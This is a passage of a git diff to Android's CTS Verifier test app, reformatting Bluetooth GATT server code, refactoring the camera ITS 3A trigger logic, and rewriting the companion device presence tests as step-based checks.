             } else if (duid.equals(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID)) {
@@ -1184,7 +1210,8 @@
                 }
             }
             if (responseNeeded) {
-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset,
+                        value);
             }
         }
 
@@ -1279,14 +1306,14 @@
             Log.d(TAG, "startAdvertise");
         }
         AdvertiseData data = new AdvertiseData.Builder()
-            .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1,2,3})
-            .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
-            .build();
+                .addServiceData(new ParcelUuid(ADV_SERVICE_UUID), new byte[]{1, 2, 3})
+                .addServiceUuid(new ParcelUuid(ADV_SERVICE_UUID))
+                .build();
         AdvertiseSettings setting = new AdvertiseSettings.Builder()
-            .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
-            .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
-            .setConnectable(true)
-            .build();
+                .setAdvertiseMode(AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY)
+                .setTxPowerLevel(AdvertiseSettings.ADVERTISE_TX_POWER_MEDIUM)
+                .setConnectable(true)
+                .build();
         mAdvertiser.startAdvertising(setting, data, mAdvertiseCallback);
     }
 
@@ -1299,7 +1326,7 @@
         }
     }
 
-    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+    private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback() {
         @Override
         public void onStartFailure(int errorCode) {
             // Implementation for API Test.
@@ -1325,7 +1352,8 @@
         }
     };
 
-    /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+    /*protected*/
+    static void dumpService(BluetoothGattService service, int level) {
         String indent = "";
         for (int i = 0; i < level; ++i) {
             indent += "  ";
@@ -1337,18 +1365,20 @@
         for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
             Log.d(TAG, indent + "    UUID: " + ch.getUuid());
             Log.d(TAG, indent + "      properties: " + String.format("0x%02X", ch.getProperties()));
-            Log.d(TAG, indent + "      permissions: " + String.format("0x%02X", ch.getPermissions()));
+            Log.d(TAG,
+                    indent + "      permissions: " + String.format("0x%02X", ch.getPermissions()));
             Log.d(TAG, indent + "      [descriptors]");
             for (BluetoothGattDescriptor d : ch.getDescriptors()) {
                 Log.d(TAG, indent + "        UUID: " + d.getUuid());
-                Log.d(TAG, indent + "          permissions: " + String.format("0x%02X", d.getPermissions()));
+                Log.d(TAG, indent + "          permissions: " + String.format("0x%02X",
+                        d.getPermissions()));
             }
         }
 
         if (service.getIncludedServices() != null) {
             Log.d(TAG, indent + "  [included services]");
             for (BluetoothGattService s : service.getIncludedServices()) {
-                dumpService(s, level+1);
+                dumpService(s, level + 1);
             }
         }
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index bc5e238..193ce0e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -248,6 +248,8 @@
     private volatile boolean mLockedAWB = false;
     private volatile boolean mNeedsLockedAE = false;
     private volatile boolean mNeedsLockedAWB = false;
+    private volatile boolean mDoAE = true;
+    private volatile boolean mDoAF = true;
 
     class MySensorEvent {
         public Sensor sensor;
@@ -1447,26 +1449,23 @@
 
             // By default, AE and AF both get triggered, but the user can optionally override this.
             // Also, AF won't get triggered if the lens is fixed-focus.
-            boolean doAE = true;
-            boolean doAF = true;
             if (params.has(TRIGGER_KEY)) {
                 JSONObject triggers = params.getJSONObject(TRIGGER_KEY);
                 if (triggers.has(TRIGGER_AE_KEY)) {
-                    doAE = triggers.getBoolean(TRIGGER_AE_KEY);
+                    mDoAE = triggers.getBoolean(TRIGGER_AE_KEY);
                 }
                 if (triggers.has(TRIGGER_AF_KEY)) {
-                    doAF = triggers.getBoolean(TRIGGER_AF_KEY);
+                    mDoAF = triggers.getBoolean(TRIGGER_AF_KEY);
                 }
             }
-            Float minFocusDistance = c.get(
-                    CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE);
-            boolean isFixedFocusLens = minFocusDistance != null && minFocusDistance == 0.0;
-            if (doAF && isFixedFocusLens) {
+
+            boolean isFixedFocusLens = isFixedFocusLens(c);
+            if (mDoAF && isFixedFocusLens) {
                 // Send a fake result back for the code that is waiting for this message to see
                 // that AF has converged.
                 Logt.i(TAG, "Ignoring request for AF on fixed-focus camera");
                 mSocketRunnableObj.sendResponse("afResult", "0.0");
-                doAF = false;
+                mDoAF = false;
             }
 
             mInterlock3A.open();
@@ -1486,7 +1485,7 @@
             boolean triggeredAF = false;
 
             Logt.i(TAG, String.format("Initiating 3A: AE:%d, AF:%d, AWB:1, AELOCK:%d, AWBLOCK:%d",
-                    doAE?1:0, doAF?1:0, mNeedsLockedAE?1:0, mNeedsLockedAWB?1:0));
+                    mDoAE?1:0, mDoAF?1:0, mNeedsLockedAE?1:0, mNeedsLockedAWB?1:0));
 
             // Keep issuing capture requests until 3A has converged.
             while (true) {
@@ -1505,10 +1504,10 @@
 
                 synchronized(m3AStateLock) {
                     // If not converged yet, issue another capture request.
-                    if (       (doAE && (!triggeredAE || !mConvergedAE))
+                    if (       (mDoAE && (!triggeredAE || !mConvergedAE))
                             || !mConvergedAWB
-                            || (doAF && (!triggeredAF || !mConvergedAF))
-                            || (doAE && mNeedsLockedAE && !mLockedAE)
+                            || (mDoAF && (!triggeredAF || !mConvergedAF))
+                            || (mDoAE && mNeedsLockedAE && !mLockedAE)
                             || (mNeedsLockedAWB && !mLockedAWB)) {
 
                         // Baseline capture request for 3A.
@@ -1553,7 +1552,7 @@
 
                         boolean triggering = false;
                         // Trigger AE first.
-                        if (doAE && !triggeredAE) {
+                        if (mDoAE && !triggeredAE) {
                             Logt.i(TAG, "Triggering AE");
                             req.set(CaptureRequest.CONTROL_AE_PRECAPTURE_TRIGGER,
                                     CaptureRequest.CONTROL_AE_PRECAPTURE_TRIGGER_START);
@@ -1562,7 +1561,7 @@
                         }
 
                         // After AE has converged, trigger AF.
-                        if (doAF && !triggeredAF && (!doAE || (triggeredAE && mConvergedAE))) {
+                        if (mDoAF && !triggeredAF && (!mDoAE || (triggeredAE && mConvergedAE))) {
                             Logt.i(TAG, "Triggering AF");
                             req.set(CaptureRequest.CONTROL_AF_TRIGGER,
                                     CaptureRequest.CONTROL_AF_TRIGGER_START);
@@ -2120,7 +2119,7 @@
             throw new ItsException("Cannot record preview before API level 33");
         }
 
-        boolean stabilizationSupported = !isVideoStabilizationModeSupported(
+        boolean stabilizationSupported = isVideoStabilizationModeSupported(
                 CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_PREVIEW_STABILIZATION);
         if (stabilize && !stabilizationSupported) {
             throw new ItsException("Preview stabilization requested, but not supported by device.");
@@ -2863,6 +2862,8 @@
         private boolean aeResultSent = false;
         private boolean awbResultSent = false;
         private boolean afResultSent = false;
+        private CameraCharacteristics c = mCameraCharacteristics;
+        private boolean isFixedFocusLens = isFixedFocusLens(c);
 
         @Override
         public void onCaptureStarted(CameraCaptureSession session, CaptureRequest request,
@@ -2907,66 +2908,74 @@
                                                 CaptureResult.CONTROL_AWB_STATE_LOCKED;
                     }
 
-                    if (mConvergedAE && (!mNeedsLockedAE || mLockedAE) && !aeResultSent) {
-                        aeResultSent = true;
-                        if (result.get(CaptureResult.SENSOR_SENSITIVITY) != null
-                                && result.get(CaptureResult.SENSOR_EXPOSURE_TIME) != null) {
-                            mSocketRunnableObj.sendResponse("aeResult", String.format("%d %d",
-                                    result.get(CaptureResult.SENSOR_SENSITIVITY).intValue(),
-                                    result.get(CaptureResult.SENSOR_EXPOSURE_TIME).intValue()
-                                    ));
-                        } else {
-                            Logt.i(TAG, String.format(
-                                    "AE converged but NULL exposure values, sensitivity:%b, expTime:%b",
-                                    result.get(CaptureResult.SENSOR_SENSITIVITY) == null,
-                                    result.get(CaptureResult.SENSOR_EXPOSURE_TIME) == null));
+                    if((mConvergedAE || !mDoAE) && mConvergedAWB &&
+                            (!mDoAF || isFixedFocusLens || mConvergedAF)){
+                        if ((!mNeedsLockedAE || mLockedAE) && !aeResultSent) {
+                            aeResultSent = true;
+                            if (result.get(CaptureResult.SENSOR_SENSITIVITY) != null
+                                    && result.get(CaptureResult.SENSOR_EXPOSURE_TIME) != null) {
+                                mSocketRunnableObj.sendResponse("aeResult", String.format("%d %d",
+                                        result.get(CaptureResult.SENSOR_SENSITIVITY).intValue(),
+                                        result.get(CaptureResult.SENSOR_EXPOSURE_TIME).intValue()
+                                        ));
+                            } else {
+                                Logt.i(TAG, String.format(
+                                        "AE converged but NULL exposure values, sensitivity:%b,"
+                                        + " expTime:%b",
+                                        result.get(CaptureResult.SENSOR_SENSITIVITY) == null,
+                                        result.get(CaptureResult.SENSOR_EXPOSURE_TIME) == null));
+                            }
                         }
-                    }
-
-                    if (mConvergedAF && !afResultSent) {
-                        afResultSent = true;
-                        if (result.get(CaptureResult.LENS_FOCUS_DISTANCE) != null) {
-                            mSocketRunnableObj.sendResponse("afResult", String.format("%f",
-                                    result.get(CaptureResult.LENS_FOCUS_DISTANCE)
-                                    ));
-                        } else {
-                            Logt.i(TAG, "AF converged but NULL focus distance values");
+                        if (!afResultSent) {
+                            afResultSent = true;
+                            if (result.get(CaptureResult.LENS_FOCUS_DISTANCE) != null) {
+                                mSocketRunnableObj.sendResponse("afResult", String.format("%f",
+                                        result.get(CaptureResult.LENS_FOCUS_DISTANCE)
+                                        ));
+                            } else {
+                                Logt.i(TAG, "AF converged but NULL focus distance values");
+                            }
                         }
-                    }
-
-                    if (mConvergedAWB && (!mNeedsLockedAWB || mLockedAWB) && !awbResultSent) {
-                        awbResultSent = true;
-                        if (result.get(CaptureResult.COLOR_CORRECTION_GAINS) != null
-                                && result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) != null) {
-                            mSocketRunnableObj.sendResponse("awbResult", String.format(
-                                    "%f %f %f %f %f %f %f %f %f %f %f %f %f",
-                                    result.get(CaptureResult.COLOR_CORRECTION_GAINS).getRed(),
-                                    result.get(CaptureResult.COLOR_CORRECTION_GAINS).getGreenEven(),
-                                    result.get(CaptureResult.COLOR_CORRECTION_GAINS).getGreenOdd(),
-                                    result.get(CaptureResult.COLOR_CORRECTION_GAINS).getBlue(),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(0,0)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(1,0)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(2,0)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(0,1)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(1,1)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(2,1)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(0,2)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(1,2)),
-                                    r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
-                                            getElement(2,2))));
-                        } else {
-                            Logt.i(TAG, String.format(
-                                    "AWB converged but NULL color correction values, gains:%b, ccm:%b",
-                                    result.get(CaptureResult.COLOR_CORRECTION_GAINS) == null,
-                                    result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) == null));
+                        if ((!mNeedsLockedAWB || mLockedAWB) && !awbResultSent) {
+                            awbResultSent = true;
+                            if (result.get(CaptureResult.COLOR_CORRECTION_GAINS) != null
+                                    && result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) != null) {
+                                mSocketRunnableObj.sendResponse("awbResult", String.format(
+                                        "%f %f %f %f %f %f %f %f %f %f %f %f %f",
+                                        result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+                                                getRed(),
+                                        result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+                                                getGreenEven(),
+                                        result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+                                                getGreenOdd(),
+                                        result.get(CaptureResult.COLOR_CORRECTION_GAINS).
+                                                getBlue(),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(0,0)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(1,0)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(2,0)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(0,1)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(1,1)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(2,1)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(0,2)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(1,2)),
+                                        r2f(result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM).
+                                                getElement(2,2))));
+                            } else {
+                                Logt.i(TAG, String.format(
+                                        "AWB converged but NULL color correction values, gains:%b,"
+                                        + " ccm:%b",
+                                        result.get(CaptureResult.COLOR_CORRECTION_GAINS) == null,
+                                        result.get(CaptureResult.COLOR_CORRECTION_TRANSFORM) ==
+                                                null));
+                            }
                         }
                     }
                 }
@@ -3116,4 +3125,10 @@
 
         throw new ItsException("Uknown reprocess format: " + reprocessFormat);
     }
+
+    private boolean isFixedFocusLens(CameraCharacteristics c) {
+        Float minFocusDistance = c.get(
+                CameraCharacteristics.LENS_INFO_MINIMUM_FOCUS_DISTANCE);
+        return (minFocusDistance != null) && (minFocusDistance == 0.0);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
index 4d443a7..b8b9602 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
@@ -16,93 +16,141 @@
 
 package com.android.cts.verifier.companion;
 
-import android.bluetooth.BluetoothDevice;
+import static android.view.View.INVISIBLE;
+import static android.view.View.VISIBLE;
+
+import android.companion.AssociationInfo;
 import android.companion.AssociationRequest;
 import android.companion.BluetoothDeviceFilter;
 import android.companion.CompanionDeviceManager;
+import android.companion.CompanionDeviceService;
 import android.content.Intent;
 import android.content.IntentSender;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.Looper;
 import android.util.Log;
+import android.view.ViewGroup;
 import android.widget.Button;
+import android.widget.TextView;
 import android.widget.Toast;
 
 import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
-import java.util.List;
+import java.util.ArrayList;
 
 /**
- * Test that Companion Device Awake {@link CompanionDeviceService} API is functional
+ * Test that Companion Device Awake {@link CompanionDeviceService} API is functional.
  */
-@CddTest(requirement = "3.16/C-1-2,C-1-3,H-1-1")
-public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity{
-    private static final String LOG_TAG = "=CDMServiceTestActivity";
-    private static final long DEVICE_GONE_BUTTON_ENABLE_WINDOW = 150000; // 2.5 minutes.
-    private static final long DEVICE_PRESENT_BUTTON_ENABLE_WINDOW = 10000; // 10 seconds.
+@CddTest(requirements = {"3.16/C-1-2", "C-1-3", "H-1-1"})
+public class CompanionDeviceServiceTestActivity extends PassFailButtons.Activity {
+    private static final String LOG_TAG = "CDMServiceTestActivity";
     private static final int REQUEST_CODE_CHOOSER = 0;
 
+    private final ArrayList<TestStep> mTests = new ArrayList<>();
+
     private CompanionDeviceManager mCompanionDeviceManager;
 
-    private Handler mHandler;
+    private TextView mTestTitle;
+    private TextView mTestDescription;
+    private ViewGroup mTestStepButtonLayout;
+    private Button mTestAction;
+    private Button mTestStepPassed;
+    private Button mTestStepFailed;
+    private int mCurrentTestIndex;
+    private AssociationInfo mCurrentAssociation;
 
-    private Button mPresentButton;
-    private Button mGoneButton;
+    // Test state verification loop will be launched on a new thread.
+    // Null until first verification is required.
+    private Runnable mVerifier;
+    private Handler mHandler;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
         setContentView(R.layout.companion_service_test_main);
-        setPassFailButtonClickListeners();
-        mPresentButton = (Button) findViewById(R.id.present_button);
-        mGoneButton = (Button) findViewById(R.id.gone_button);
-        mPresentButton.setEnabled(false);
-        mGoneButton.setEnabled(false);
+
+        mTestTitle = findViewById(R.id.companion_service_test_title);
+        mTestDescription = findViewById(R.id.companion_service_test_description);
+        mTestAction = findViewById(R.id.companion_service_test_button);
+        mTestStepButtonLayout = findViewById(R.id.button_layout);
+        mTestStepPassed = findViewById(R.id.test_step_passed);
+        mTestStepFailed = findViewById(R.id.test_step_failed);
+
+        mCurrentTestIndex = -1;
+        mCurrentAssociation = null;
+        mVerifier = null;
+        mHandler = new Handler(Looper.myLooper());
 
         mCompanionDeviceManager = getSystemService(CompanionDeviceManager.class);
 
-        mHandler = new Handler();
-
-        getPassButton().setEnabled(false);
-
-        findViewById(R.id.go_button).setOnClickListener(v -> associateDevices());
-
-    }
-
-    private void associateDevices() {
-        if (!getApplicationContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_BLUETOOTH)) {
-            Log.d(LOG_TAG, "PackageManager.FEATURE_BLUETOOTH not supported."
-                    + "This test case is not applicable");
-            getPassButton().setEnabled(true);
-            return;
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) {
+            // Cannot move forward if bluetooth feature is not supported on the device.
+            mTests.add(new BluetoothFeatureTestStep());
+        } else {
+            // Add tests.
+            mTests.add(new DeviceAssociationTestStep());
+            mTests.add(new DevicePresentTestStep());
+            mTests.add(new DeviceGoneTestStep());
+            mTests.add(new DeviceDisassociationTestStep());
         }
 
-        AssociationRequest request = new AssociationRequest.Builder()
-                .addDeviceFilter(new BluetoothDeviceFilter.Builder().build())
-                .build();
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.companion_service_test, R.string.companion_service_test_info, -1);
+        runNextTestOrShowSummary();
+        cleanUp();
+    }
 
-        CompanionDeviceManager.Callback callback = new CompanionDeviceManager.Callback() {
-            @Override
-            public void onDeviceFound(IntentSender chooserLauncher) {
-                try {
-                    startIntentSenderForResult(chooserLauncher,
-                            REQUEST_CODE_CHOOSER, null, 0, 0, 0);
-                } catch (IntentSender.SendIntentException e) {
-                    fail(e);
-                }
-            }
+    /**
+     * Get association info with matching ID. Returns null if no match.
+     */
+    private AssociationInfo getAssociation(int id) {
+        for (AssociationInfo association : mCompanionDeviceManager.getMyAssociations()) {
+            if (association.getId() == id) return association;
+        }
+        return null;
+    }
 
-            @Override
-            public void onFailure(CharSequence error) {
-                fail(error);
+    /** Stop observing to associated device and then disassociate. */
+    private void disassociate(AssociationInfo association) {
+        String deviceAddress = association.getDeviceMacAddressAsString();
+        mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
+        mCompanionDeviceManager.disassociate(association.getId());
+        Log.d(LOG_TAG, "Disassociated with device: " + deviceAddress);
+    }
+
+    /** Clean up any associated devices from this app. */
+    private void cleanUp() {
+        for (AssociationInfo association : mCompanionDeviceManager.getMyAssociations()) {
+            disassociate(association);
+        }
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        // On "associate()" success
+        if (requestCode == REQUEST_CODE_CHOOSER) {
+            if (resultCode != RESULT_OK) {
+                fail("Activity result code " + resultCode);
+                return;
             }
-        };
-        mCompanionDeviceManager.associate(request, callback, null);
+            AssociationInfo association =
+                    data.getParcelableExtra(CompanionDeviceManager.EXTRA_ASSOCIATION,
+                    AssociationInfo.class);
+            String deviceAddress = association.getDeviceMacAddressAsString();
+
+            // This test is for bluetooth devices, which should all have a MAC address.
+            if (deviceAddress == null) fail("The device was present but its address was null.");
+
+            mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
+            mCurrentAssociation = getAssociation(association.getId());
+            Log.d(LOG_TAG, "Associated with device: " + deviceAddress);
+        } else super.onActivityResult(requestCode, resultCode, data);
     }
 
     private void fail(Throwable reason) {
@@ -113,73 +161,225 @@
     private void fail(CharSequence reason) {
         Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
         Log.e(LOG_TAG, reason.toString());
+        cleanUp();
         setTestResultAndFinish(false);
     }
 
-    private void disassociate(String deviceAddress) {
-        mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
-        mCompanionDeviceManager.disassociate(deviceAddress);
-        List<String> associations = mCompanionDeviceManager.getAssociations();
+    private TestStep getCurrentTest() {
+        return mTests.get(mCurrentTestIndex);
+    }
 
-        if (associations.contains(deviceAddress)) {
-            fail("Disassociating device " + deviceAddress
-                    + " did not remove it from associations list"
-                    + associations);
-            return;
+    private void runNextTestOrShowSummary() {
+        if (mCurrentTestIndex + 1 >= mTests.size()) {
+            updateViewForCompletionSummary();
+        } else {
+            mCurrentTestIndex++;
+            updateViewForTest(getCurrentTest());
+        }
+    }
+
+    /** Populates the UI based on the provided test step. */
+    private void updateViewForTest(TestStep test) {
+        mTestStepButtonLayout.setVisibility(VISIBLE);
+        mTestTitle.setText(test.mTitleResId);
+        mTestDescription.setText(test.mDescriptionResId);
+
+        // Can't pass until test result is verified.
+        mTestStepPassed.setEnabled(false);
+
+        mTestStepPassed.setOnClickListener(v -> getCurrentTest().onPass());
+        mTestStepFailed.setOnClickListener(v -> getCurrentTest().onFail());
+        mTestAction.setOnClickListener(v -> getCurrentTest().performTestAction());
+
+        if (mVerifier != null) {
+            mHandler.removeCallbacks(mVerifier);
+        }
+
+        // Display test action button if specified.
+        if (test.mButtonTextResId != 0) {
+            mTestAction.setText(test.mButtonTextResId);
+            mTestAction.setVisibility(VISIBLE);
+        } else {
+            mTestAction.setVisibility(INVISIBLE);
+        }
+
+        // Wait for test verification.
+        mVerifier = new Runnable() {
+            @Override
+            public void run() {
+                if (test.verify()) {
+                    mTestStepPassed.setEnabled(true);
+                } else {
+                    mHandler.postDelayed(this, 3000);
+                }
+            }
+        };
+        mHandler.postDelayed(mVerifier, 1000);
+    }
+
+    /** Populates the UI indicating results of test & updates test buttons as needed */
+    private void updateViewForCompletionSummary() {
+        // No longer need any of these buttons
+        mTestStepButtonLayout.setVisibility(INVISIBLE);
+        mTestAction.setVisibility(INVISIBLE);
+
+        // Can only reach here if all other tests passed. Enable pass button.
+        getPassButton().setEnabled(true);
+        mTestTitle.setText(R.string.companion_service_test_summary_title);
+        mTestDescription.setText(R.string.companion_service_test_summary);
+    }
+
+    /**
+     * This activity specifically tests for CDM interactions with bluetooth devices.
+     * Pass the test if device does not support bluetooth.
+     */
+    private class BluetoothFeatureTestStep extends TestStep {
+        BluetoothFeatureTestStep() {
+            super(R.string.companion_service_bluetooth_feature_title,
+                    R.string.companion_service_bluetooth_feature_text);
+        }
+
+        @Override
+        boolean verify() {
+            return true;
         }
     }
 
     /**
-     * Check that if the application receives the CompanionDeviceService.onDeviceDisappeared
-     * callback after press the Device Gone button.
+     * Tests that an association can be made with a device and that the app can subscribe
+     * to its presence.
      */
-    private void isDeviceGoneTest(String deviceAddress) {
-        if (Boolean.FALSE.equals(DevicePresenceListener.sDeviceNearBy)) {
-            getPassButton().setEnabled(true);
-            disassociate(deviceAddress);
-        } else {
-            disassociate(deviceAddress);
-            fail("Device " + deviceAddress + " should be gone");
+    private class DeviceAssociationTestStep extends TestStep {
+        final CompanionDeviceManager.Callback mCallback =
+                new CompanionDeviceManager.Callback() {
+            @Override
+            public void onAssociationPending(IntentSender chooserLauncher) {
+                try {
+                    startIntentSenderForResult(chooserLauncher,
+                            REQUEST_CODE_CHOOSER, null, 0, 0, 0);
+                } catch (IntentSender.SendIntentException error) {
+                    fail(error);
+                }
+            }
+
+            @Override
+            public void onFailure(CharSequence error) {
+                fail(error);
+            }
+        };
+
+        DeviceAssociationTestStep() {
+            super(R.string.companion_service_associate_title,
+                    R.string.companion_service_associate_text,
+                    R.string.companion_service_associate_button);
+        }
+
+        @Override
+        void performTestAction() {
+            AssociationRequest request = new AssociationRequest.Builder()
+                    .addDeviceFilter(new BluetoothDeviceFilter.Builder().build())
+                    .build();
+            mCompanionDeviceManager.associate(request, mCallback, null);
+        }
+
+        @Override
+        boolean verify() {
+            // Check that it is associated and being observed.
+            return mCurrentAssociation != null && mCurrentAssociation.isNotifyOnDeviceNearby();
         }
     }
 
     /**
-     * Check that if the application receives the CompanionDeviceService.onDeviceAppeared
-     * callback after press the Device Present button.
+     * Tests that app can correctly detect associated device's presence.
      */
-    private void isDevicePresetTest(String deviceAddress) {
-        if (Boolean.TRUE.equals(DevicePresenceListener.sDeviceNearBy)) {
-            findViewById(R.id.gone_button).setOnClickListener(
-                    v -> isDeviceGoneTest(deviceAddress));
-            mHandler.postDelayed(() -> mGoneButton.setEnabled(true),
-                    DEVICE_GONE_BUTTON_ENABLE_WINDOW);
-        } else {
-            disassociate(deviceAddress);
-            fail("Device " + deviceAddress + " should be present");
+    private class DevicePresentTestStep extends TestStep {
+        DevicePresentTestStep() {
+            super(R.string.companion_service_present_title,
+                    R.string.companion_service_present_text);
+        }
+
+        @Override
+        boolean verify() {
+            return DevicePresenceListener.isDeviceNearby(mCurrentAssociation.getId());
         }
     }
 
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        if (requestCode == REQUEST_CODE_CHOOSER) {
-            if (resultCode != RESULT_OK) {
-                fail("Activity result code " + resultCode);
-                return;
-            }
+    /**
+     * Tests that app can correctly detect device's disappearance.
+     */
+    private class DeviceGoneTestStep extends TestStep {
+        DeviceGoneTestStep() {
+            super(R.string.companion_service_gone_title,
+                    R.string.companion_service_gone_text);
+        }
 
-            BluetoothDevice associatedDevice = data.getParcelableExtra(
-                    CompanionDeviceManager.EXTRA_DEVICE);
-            String deviceAddress = associatedDevice.getAddress();
-            if (deviceAddress != null) {
-                findViewById(R.id.present_button).setOnClickListener(
-                        v -> isDevicePresetTest(deviceAddress));
-                mHandler.postDelayed(() -> mPresentButton.setEnabled(true),
-                        DEVICE_PRESENT_BUTTON_ENABLE_WINDOW);
-                mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
-            } else {
-                fail("The device was present but its address was null");
-            }
+        @Override
+        public boolean verify() {
+            return !DevicePresenceListener.isDeviceNearby(mCurrentAssociation.getId());
+        }
+    }
 
-        } else super.onActivityResult(requestCode, resultCode, data);
+    /**
+     * Tests that device can be correctly disassociated from the app.
+     */
+    private class DeviceDisassociationTestStep extends TestStep {
+        DeviceDisassociationTestStep() {
+            super(R.string.companion_service_disassociate_title,
+                    R.string.companion_service_disassociate_text,
+                    R.string.companion_service_disassociate_button);
+        }
+
+        @Override
+        void performTestAction() {
+            disassociate(mCurrentAssociation);
+        }
+
+        @Override
+        boolean verify() {
+            // Check that it is no longer associated.
+            return getAssociation(mCurrentAssociation.getId()) == null;
+        }
+    }
+
+    /**
+     * Interface for individual test steps.
+     */
+    private abstract class TestStep {
+        final int mTitleResId;
+        final int mDescriptionResId;
+        final int mButtonTextResId;
+
+        TestStep(int titleResId, int descriptionResId) {
+            this(titleResId, descriptionResId, 0);
+        }
+
+        TestStep(int titleResId, int descriptionResId, int buttonTextResId) {
+            this.mTitleResId = titleResId;
+            this.mDescriptionResId = descriptionResId;
+            this.mButtonTextResId = buttonTextResId;
+        }
+
+        /** Code to run when the button is activated; only used if {@link #mButtonTextResId} != 0 */
+        void performTestAction() {
+            // optional
+        }
+
+        /** Checks device state to see if the test passed.  */
+        abstract boolean verify();
+
+        /**
+         * Code to run on failure.
+         */
+        void onPass() {
+            runNextTestOrShowSummary();
+        }
+
+        /**
+         * Code to run on failure.
+         */
+        void onFail() {
+            cleanUp();
+            fail("Test failed manually.");
+        }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
index c6b18e1..37760d5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
@@ -16,27 +16,45 @@
 
 package com.android.cts.verifier.companion;
 
+import android.companion.AssociationInfo;
 import android.companion.CompanionDeviceService;
+import android.util.Log;
 import android.widget.Toast;
 
+import java.util.HashSet;
+import java.util.Set;
+
 /**
- * A Listener for {@Link CompanionDeviceAwakeTestActivity}
+ * A Listener for {@link CompanionDeviceServiceTestActivity}.
  */
 public class DevicePresenceListener extends CompanionDeviceService {
-    public static Boolean sDeviceNearBy;
+    private static final String LOG_TAG = "CDMServiceTestActivity";
+    private static final Set<Integer> NEARBY_DEVICES = new HashSet<>();
 
-    @Override
-    public void onDeviceAppeared(String address) {
-        sDeviceNearBy = true;
-        Toast.makeText(this, "Device appeared: " + address,
-                Toast.LENGTH_LONG).show();
+    /**
+     * Checks if the given association ID is for a device that is nearby.
+     * A device is considered to be "nearby" if its appearance has been detected previously
